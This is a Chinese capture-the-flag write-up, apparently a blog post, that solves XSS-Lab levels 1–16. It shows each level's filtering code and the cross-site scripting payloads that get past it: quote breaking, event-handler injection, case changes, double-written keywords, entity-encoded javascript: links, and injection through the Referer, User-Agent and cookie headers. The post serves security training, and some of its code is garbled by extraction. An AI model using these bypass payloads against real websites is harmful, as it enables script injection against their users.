• XSS-Lab(XSS注入笔记1-16)


    前言

    本篇博客主要是记录笔者完成XSS-Lab步骤以及分析

    题目链接:https://buuoj.cn/challenges#XSS-Lab

    Github仓库:https://github.com/rebo-rn/xss-lab

    出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.docx

    ps:仓库可以看代码即白盒测试

    level1(直接注入)

    在这里插入图片描述
    我们发现网址后面有一个name的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如name=kaptree,我们可以看到直接就显示欢迎kaptree

    在这里插入图片描述

    于是我们这里直接注入name=

    ok,成功注入

    在这里插入图片描述

    level2(闭合标签)

    在这里插入图片描述
    我们发现有一个输入框,于是先认为这里可以注入,填上keyword=,我们发现并不能注入

    在这里插入图片描述
    我们直接看一下相应的源码:

    DOCTYPE html><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level3.php?writing=wait"; 
    }
    script>
    <title>欢迎来到level2title>
    head>
    <body>
    <h1 align=center>欢迎来到level2h1>
    <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.h2><center>
    <form action=level2.php method=GET>
    <input name=keyword  value="">
    <input type=submit name=submit value="搜索"/>
    form>
    center><center><img src=level2.png>center>
    <h3 align=center>payload的长度:25h3>body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    我们发现这里他直接把我们输入的内容进行替换,于是我们通过"绕过,即keyword=">

    在这里插入图片描述

    level3(绕过htmlspecials()函数)

    在这里插入图片描述
    仍然先尝试level2的方式注入,发现并没有用,于是我们打开网页代码看看

    在这里插入图片描述

    DOCTYPE html><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level4.php?keyword=try harder!"; 
    }
    script>
    <title>欢迎来到level3title>
    head>
    <body>
    <h1 align=center>欢迎来到level3h1>
    <h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.h2><center>
    <form action=level3.php method=GET>
    <input name=keyword  value='"><script>alert(1)</script>'>
    <input type=submit name=submit value=搜索 />
    form>
    center><center><img src=level3.png>center>
    <h3 align=center>payload的长度:27h3>body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现'没被替换,于是我们可以给当前的位置绑定一个点击事件:keyword=' onclick='alert(1) ,然后需要点击一下输入框

    在这里插入图片描述

    level4(onclick绕过)

    在这里插入图片描述
    尝试之前的注入方式,发现行不通,然后查看源码

    DOCTYPE html><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level5.php?keyword=find a way out!"; 
    }
    script>
    <title>欢迎来到level4title>
    head>
    <body>
    <h1 align=center>欢迎来到level4h1>
    <h2 align=center>没有找到和' οnclick='alert(1)相关的结果.h2><center>
    <form action=level4.php method=GET>
    <input name=keyword  value="' οnclick='alert(1)">
    <input type=submit name=submit value=搜索 />
    form>
    center><center><img src=level4.png>center>
    <h3 align=center>payload的长度:19h3>body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    猜测是双引号的问题,于是:

    keyword=" onclick="alert(1)

    在这里插入图片描述

    level5(绕过检测

    在这里插入图片描述
    尝试之前的注入方式,发现并不能注入,此时查看返回的代码:

    DOCTYPE html><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level6.php?keyword=break it out!"; 
    }
    script>
    <title>欢迎来到level5title>
    head>
    <body>
    <h1 align=center>欢迎来到level5h1>
    <h2 align=center>没有找到和" οnclick="alert(1)相关的结果.h2><center>
    <form action=level5.php method=GET>
    <input name=keyword  value="" o_nclick="alert(1)">
    <input type=submit name=submit value=搜索 />
    form>
    center><center><img src=level5.png>center>
    <h3 align=center>payload的长度:20h3>body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    发现我们的onclick被过滤了,我们再试试之前的keyword=">,发现

    <input name=keyword  value=""><scr_ipt>alert(1)script>">
    
    • 1

    发现关键词也被过滤了,于是我们使用标签绕过,即keyword="> 然后点击一下图片或者下方的文字即可

    在这里插入图片描述
    在源文件中我们也可以看到,有一些关键字被过滤掉了,即on

     
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace(",",$str);
    $str3=str_replace("on","o_n",$str2);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    "
    .'
    .$str3.'">
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    level6(大小写绕过)

    在这里插入图片描述

    同样,我们先尝试之前的注入方式

    <input name=keyword  value=""><a hr_ef="javascript:alert(1)">
    
    • 1

    我们发现它把href也过滤了,于是我们直接明牌!,看一下它代码:

     
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace(",",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    "
    .'
    .$str6.'">
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    我们发现,onsrcdatahref 这几个关键字被过滤掉了,因为是直接过滤的,而html中大小写是不敏感的,于是我们直接变一下大小写即可keyword=">

    level7(双写绕过标签过滤)

    在这里插入图片描述

    老样子,我们先试一下之前的注入,结果发现script直接被过滤了

    <input name=keyword  value="">
    

    我们打开源码看看

     
    ini_set("display_errors", 0);
    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    "
    .'
    .$str6.'">
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    这里将keyword转为小写然后再直接过滤的了,那么我们可以嵌套一下,例如:

    如果我们想得到script显然这里会直接替换掉关键字,那么我们就可以传入sscriptcript,这样被替换后就是我们想要的script了,同理href替换为hhrefref,即:keyword=">

    level8(ASCII编码绕过)

    在这里插入图片描述
    我们使用上一个注入方式,发现这次没有对keyword做过滤,而是做了一个转义符的替换

    <input name=keyword  value=""><a hhrefref="javasscriptcript:alert(1)">
    
    • 1

    没思路,于是看看源码

     
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','"',$str6);
    echo '
    .htmlspecialchars($str).'">
    '
    ; ?> <?php echo '

    .$str7.'">友情链接
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    我们发现两个地方可能存在渗透,第一个就是我们之前一直注入的input框,看了源码后发现没想到啥方法注入,反而是友情链接这里,我们发现$str7 只是做了一个简单的字符过滤,于是我们直接在这里将javascript:alert(1)中的字符使用HTML字符实体转换后注入即可:keyword=javascript:alert(1)

    HTML字符实体转换器:https://www.qqxiuzi.cn/bianma/zifushiti.php

    在这里插入图片描述

    level9(必要字段+ASCII编码绕过)

    在这里插入图片描述
    先把上一个注入操作复刻一下,但是发现不合法

    center><center><BR><a href="您的链接不合法?有没有!">友情链接a>center><center><img src=level9.png>center>
    
    • 1

    于是我们打开源码:

     
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','"',$str6);
    echo '
    .htmlspecialchars($str).'">
    '
    ; ?> <?php if(false===strpos($str7,'http://')) { echo '

    友情链接
    '
    ; } else { echo '

    .$str7.'">友情链接
    '
    ; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    我们发现多了一个if(false===strpos($str7,'http://')),也就是说在传入的数据中需要含有http://,那我们直接放在alert中即可,于是得到:

    keyword=javascript:alert('http://')

    然后点一下这个 友情链接
    在这里插入图片描述

    level10(利用hidden参数传递数据)

    在这里插入图片描述
    直接看源码吧:

     
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    "
    .'
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    我们发现注入点可能是t_sort,然后发现过滤了<>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的typehidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text,当然绑定onclick事件也是可以的t_sort=" onclick='alert(1)' type="text

    不同的是前者只需要鼠标移过去触发,后者需要点一下输入框

    在这里插入图片描述

    level11(REFERER注入)

    在这里插入图片描述

     
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_REFERER'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    "
    .'
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    查看源码,我们发现,可能存在渗透的地方就是HTTP_REFERER,因为t_sort这里直接使用htmlspecialchars转义了,而$str33只是过滤了><,所以只需要携带一个注入的语句访问网站即可,于是我们这里使用hackbar然后访问目标网址即可,Referer:" onclick='alert(1)' type="text

    然后鼠标点一下框就行

    在这里插入图片描述

    level12(USER_AGENT注入)

    在这里插入图片描述

     
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_USER_AGENT'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    "
    .'
    '
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    看完源码后发现……(这里其实也可以不看源码,直接看html的返回的内容也能猜出),和上面差不多,只不过注入的位置变成了USER_AGENT,那么直接开注!

    USER_AGENT:" onclick='alert(1)' type="text

    在这里插入图片描述

    level13(cookies注入)

    在这里插入图片描述
    看了一眼相应代码,猜测是cookies注入,于是冲一发:cookies:user=" onclick='alert(1)' type="text

    在这里插入图片描述

    然后成功注入~

    level14(利用文件解析xss

    打不开这个,貌似是网站http://www.exifviewer.org/ 挂掉了,那就算过了吧~

    看了一下作者的解法

    在这里插入图片描述

    level15

    吐了,也打开不了,那个啥js加载不了了

    level 16(回车替换空格)

    在这里插入图片描述

    找不到注入点,于是我们看看源码:

     
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script"," ",$str);
    $str3=str_replace(" "," ",$str2);
    $str4=str_replace("/"," ",$str3);
    $str5=str_replace("	"," ",$str4);
    echo "
    ".$str5."
    "
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    原来是传入keyword然后过滤数据,只有这个注入点了,我们又发现script /这三个字符都被过滤了,于是我们考虑传入标签,然后用%0a(换行符)代替空格,即keyword=

    在这里插入图片描述

    level17

    寄,显示不出来,好像后面的都是这样

    在这里插入图片描述

    做题小结(出题人的)

    做了20题(14题)下来,可以发现难度是依次上升的。
    这里主要谈谈个人做题的一个基本思路。一般看到一道题目后,先观察题目的类型,猜想哪个地方哪个参数可能存在注入,也就是前期分析,往下是代码分析,具体分析网页的源代码甚至可以的话看看题目代码,可以加深对题目做了怎样的限制的认知,再往下,就是不断尝试,输入自己构造好的测试payload来做更多的判断。有的题目你可能一时找不到注入点,你可以用BURP抓包看看到底具体数据在哪个位置传输,有可能是HTTP头部的某一个字段也可能是正文部分。后面几道较难的是,这几题前提是你需要了解某些知识后才能做得出来,比如某某框架存在xss漏洞,或者某种文件解析可以解析xss等等,这时可以去乌云知识库去查查,一般都能找到对应的知识模块。
    题目分析+测试语句+代码分析

    基础测试语句:
    '';!--"=&{()}

    绕过:大小写,编码,双写等等

  • 相关阅读:
    如何发布自己的 npm 包
    2023 年 的 DBA 有哪些变化?
    企业微信应用开发
    excel学习
    前端性能优化之控制请求并发数
    基于c++的简易web服务器搭建(初尝socket编程)
    虚拟机安装k8s(1.20.2版本)集群,从0-1
    ceph 008 ceph多区域网关(ceph对象容灾) cephfs文件系统
    本地电脑搭建web服务器、个人博客网站并发布公网访问 【无公网IP】(1)
    C++11:为何引入noexcept替代throw
  • 原文地址:https://blog.csdn.net/m0_46201544/article/details/127578322